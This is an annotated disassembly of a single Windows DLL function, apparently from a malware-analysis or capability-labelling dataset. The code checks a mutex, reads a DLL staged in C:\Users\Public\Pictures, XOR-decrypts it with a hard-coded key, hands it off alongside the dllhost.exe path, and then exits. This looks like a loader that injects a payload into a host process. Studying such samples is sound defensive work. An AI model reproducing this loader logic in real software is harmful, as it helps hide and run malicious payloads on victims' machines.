Function at 0x180002750
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x18003a060]
xor rax, rsp
mov qword [rbp + 0x148], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
lea r8d, [rax + 1]
lea rdx, [0x1800344d8]
lea rcx, [rbp + 0x108]
call fcn.180005a90
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rdx, str.846ee3407039_nC:WindowsSystem32dllhost.exe_nC:UsersPublicPicturespi.dll_n16536
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1800027e0
lea rcx, [rsp + 0x30]
call fcn.180005a90
lea r8, [rbp + 0x108]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.1800021b0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180002846
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002841
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032fe
call fcn.180007ae0
movdqa xmm0, xmmword [0x180034670]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x18000289a
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002895
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032fe
call fcn.180007ae0
mov rdx, qword [rbp + 0x78]
mov rax, rdx
mov rcx, qword [rbp + 0x70]
sub rax, rcx
sar rax, 5
cmp rax, 4
je 0x180002928
test rcx, rcx
je 0x1800028f8
call fcn.180005b90
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x80]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
mov rax, rcx
jb 0x1800028f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
call fcn.180007ae0
mov rcx, qword [rbp + 0x148]
xor rcx, rsp
call fcn.180007ac0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rdx, rcx
lea rcx, [rbp + 0x108]
call fcn.1800048e0
lea rcx, [rsp + 0x30]
call fcn.180002490
lea rdx, [rbp + 0x108]
mov rdi, qword [rbp + 0x108]
mov r15, qword [rbp + 0x120]
cmp r15, 0x10
cmovae rdx, rdi
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18000296b
mov rcx, qword [rax]
mov r8, qword [rax + 0x10]
mov r13, qword [rbp + 0x118]
cmp r8, r13
jne 0x180002988
call fcn.18000a580
test eax, eax
jne 0x180002988
xor bl, bl
jmp 0x18000298a
mov bl, 1
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800029c7
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800029c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003304
call fcn.180007ae0
test bl, bl
je 0x180002a18
cmp r15, 0x10
jb 0x180002a02
lea rdx, [r15 + 1]
cmp rdx, 0x1000
mov rax, rdi
jb 0x1800029fa
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
mov rcx, rdi
call fcn.180007ae0
mov rcx, qword [rbp + 0x70]
test rcx, rcx
je 0x1800028f8
mov rdx, qword [rbp + 0x78]
jmp 0x1800028b7
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea r12, [rbp + 0x108]
cmp r15, 0x10
cmovae r12, rdi
movabs r14, 0x7fffffffffffffff
cmp r13, r14
ja 0x18000330a
movabs rax, 0x8000000000000000
mov ecx, 0x16
xor esi, esi
cmp r13, 0x10
jae 0x180002a7d
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
lea r8d, [rcx - 6]
mov rdx, r12
lea rcx, [rsp + 0x30]
call fcn.180009a70
jmp 0x180002b02
mov rbx, r13
or rbx, 0xf
cmp rbx, r14
jbe 0x180002ab2
mov rbx, r14
add rax, 0x27
mov rcx, rax
call fcn.180007d84
mov rcx, rax
test rax, rax
je 0x180003310
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180002ae4
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180002ad5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800032ec
jmp 0x180002a90
test rcx, rcx
je 0x180002ae1
call fcn.180007d84
jmp 0x180002ae4
mov rax, rsi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], rbx
lea r8, [r13 + 1]
mov rdx, r12
mov rcx, rax
call fcn.180009a70
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae r8, qword [rsp + 0x30]
mov r13d, 1
mov edx, r13d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, esi
cmp eax, 0xb7
cmove ebx, r13d
test r12, r12
je 0x180002b46
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180002b83
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002b7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003310
call fcn.180007ae0
test bl, bl
jne 0x1800029cb
mov rdx, qword [rbp + 0x70]
add rdx, 0x20
lea rcx, [rbp + 0xe8]
call fcn.1800048e0
mov rdx, qword [rbp + 0x70]
add rdx, 0x40
lea rcx, [rbp + 0xc8]
call fcn.1800048e0
mov rdx, qword [rbp + 0x70]
add rdx, 0x60
lea rcx, [rbp + 0xa8]
call fcn.1800048e0
call fcn.18000f11c
mov r12, rax
lea rbx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rbx, qword [rbp + 0xa8]
mov dword [rax], esi
mov r8d, 0xa
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.18000fca0
cmp rbx, qword [rsp + 0x50]
je 0x180003316
cmp dword [r12], 0x22
je 0x180003323
movsxd rbx, eax
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x60]
call fcn.18000a140
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rdx, qword [rbp + 0xc8]
lea rcx, [rsp + 0x60]
call fcn.180004f40
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], r13
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x5c], edx
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x70], 6
je 0x180002dec
mov qword [rsp + rcx + 0x60], r13
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x70]
call fcn.180004040
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x5c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.1800071ec
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x180002d20
inc rdx
mov rcx, qword [rbp + 0xa8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x180002d1b
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
call fcn.180007ae0
mov rdx, qword [rbp + 0xe0]
movdqa xmm0, xmmword [0x180034670]
cmp rdx, 0x10
mov byte [rbp + 0xa8], 0
movdqu xmmword [rbp + 0xb8], xmm0
jb 0x180002d78
inc rdx
mov rcx, qword [rbp + 0xc8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x180002d73
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
call fcn.180007ae0
mov rdx, qword [rbp + 0x100]
movdqa xmm0, xmmword [0x180034670]
cmp rdx, 0x10
mov byte [rbp + 0xc8], 0
movdqu xmmword [rbp + 0xd8], xmm0
jb 0x180002dd0
inc rdx
mov rcx, qword [rbp + 0xe8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x180002dcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
call fcn.180007ae0
movdqa xmm0, xmmword [0x180034670]
movdqu xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0xe8], 0
jmp 0x1800029cb
mov qword [rsp + 0x30], rbx
xorps xmm1, xmm1
movups xmmword [rsp + 0x38], xmm1
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x30], xmm0
unpckhpd xmm1, xmm1
movsd qword [rsp + 0x40], xmm1
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1800043a0
mov dword [rsp + 0x58], esi
mov r8d, 4
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.1800045a0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x180002ead
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x60], r13
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x70]
call fcn.180004040
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x5c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.1800071ec
nop
jmp 0x180002cdf
movsxd r12, dword [rsp + 0x58]
mov rbx, r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
cmp r12, r14
ja 0x1800032e6
cmp rbx, 0x10
jae 0x180002efe
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], 0xf
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x88]
call fcn.18000a140
mov byte [rbp + r12 + 0x88], sil
jmp 0x180002fa1
mov rax, rbx
or rax, 0xf
cmp rax, r14
jbe 0x180002f38
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180007d84
test rax, rax
je 0x1800032f8
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x180002f76
mov r14, rax
cmp rax, 0x16
mov eax, 0x16
cmovb r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x180002f64
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800032f2
jmp 0x180002f18
test rcx, rcx
je 0x180002f73
call fcn.180007d84
mov r12, rax
jmp 0x180002f76
mov r12, rsi
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], r14
mov r8, rbx
xor edx, edx
mov rcx, r12
call fcn.18000a140
mov byte [r12 + rbx], sil
mov r12d, dword [rsp + 0x58]
lea rdx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae rdx, qword [rbp + 0x88]
movsxd r8, r12d
lea rcx, [rsp + 0x60]
call fcn.1800045a0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x18000322b
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x180003018
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003013
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
call fcn.180007ae0
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], sil
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x60], r13
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x70]
call fcn.180004040
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x5c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.1800071ec
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x1800030d7
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800030d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
call fcn.180007ae0
movdqa xmm0, xmmword [0x180034670]
movdqu xmmword [rbp + 0xb8], xmm0
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x18000312f
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000312a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
call fcn.180007ae0
movdqa xmm0, xmmword [0x180034670]
movdqu xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x180003187
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003182
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
call fcn.180007ae0
movdqa xmm0, xmmword [0x180034670]
movdqu xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0xe8], 0
cmp r15, 0x10
jb 0x1800031d5
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1800031cd
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
mov rcx, rdi
call fcn.180007ae0
mov rcx, qword [rbp + 0x70]
test rcx, rcx
je 0x1800028f8
mov rdx, qword [rbp + 0x78]
call fcn.180005b90
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x70]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800028f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032f8
jmp 0x1800028f3
lea rcx, [rsp + 0x60]
call fcn.180004300
lea rcx, [rbp + 0x128]
call fcn.180004a00
mov dword [rsp + 0x50], 0x1751b61a
mov dword [rsp + 0x54], 0xaefa0318
lea rcx, [rbp + 0x88]
call fcn.180004800
mov rdi, rax
lea rcx, [rbp + 0x88]
call fcn.1800047f0
mov rbx, rax
cmp rax, rdi
je 0x1800032a5
mov ecx, esi
and ecx, 0x80000007
jge 0x180003285
dec ecx
or ecx, 0xfffffff8
inc ecx
movsxd rax, ecx
movzx edx, byte [rsp + rax + 0x50]
xor dl, byte [rbx]
lea rcx, [rbp + 0x128]
call fcn.180004820
inc esi
inc rbx
cmp rbx, rdi
jne 0x180003274
lea rcx, [rbp + 0x128]
call fcn.1800047e0
mov rdi, rax
lea rcx, [rbp + 0x128]
call fcn.1800047f0
mov rbx, rax
lea rcx, [rbp + 0xe8]
call fcn.1800047f0
mov rcx, rax
mov r8d, edi
mov rdx, rbx
call fcn.180001c00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.180001210
int3
call fcn.180001170
int3
call fcn.180001170
int3
call fcn.180010c18
int3
call fcn.180010c18
int3
call fcn.180010c18
int3
call fcn.180001210
int3
call fcn.180010c18
int3
lea rcx, str.invalid_stoi_argument
call fcn.180006cec
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.180006d34
int3